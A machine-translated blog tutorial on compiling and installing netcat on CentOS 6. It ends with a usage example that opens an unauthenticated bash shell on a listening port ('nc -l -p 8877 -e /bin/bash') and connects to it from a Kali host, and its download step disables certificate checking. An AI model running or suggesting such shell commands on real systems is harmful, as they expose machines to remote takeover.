CentOS6 install netcat Swiss Army Knife [with download resource link]

table of Contents

Write in front

Download the installation package

Unzip the installation package

1. Unzip the file

2. Switch to /usr/local/netcat-0.7.1

3. Configuration

4. Use


Write in front

Netcat tool is not introduced much, the "Swiss Army Knife" of network tools. However, in related Linux hairstyle versions such as CentOS, it does not come with it, and we need to install it manually.

Download the installation package

[root@mail tmp]# wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz --no-check-certificate

Check out the installation package

Unzip the installation package

1. Unzip the file

tar -zxvf netcat-0.7.1.tar.gz -C /usr/local

2. Switch to /usr/local/netcat-0.7.1

  1>View the compilation configuration file

  ./configure

  2>Compile and install

  make && make install

3. Configuration

  1>Switch to /etc

  2>Edit the configuration file, vim /etc/profile, add the netcat installation path to the environment variable

   3>Make the configuration file effective immediately

source /etc/profile

Check it out, netcat

4. Use

      1>On the 192.168.107.173 server, turn on shell rebound:

[root@mail tmp]# nc -l -p 8877 -e /bin/bash

    2> At the other end of the server, connect to the host through a reverse shell

root@kali:~# nc 192.168.107.173 8877



 


Guess you like

Origin blog.51cto.com/13687405/2583750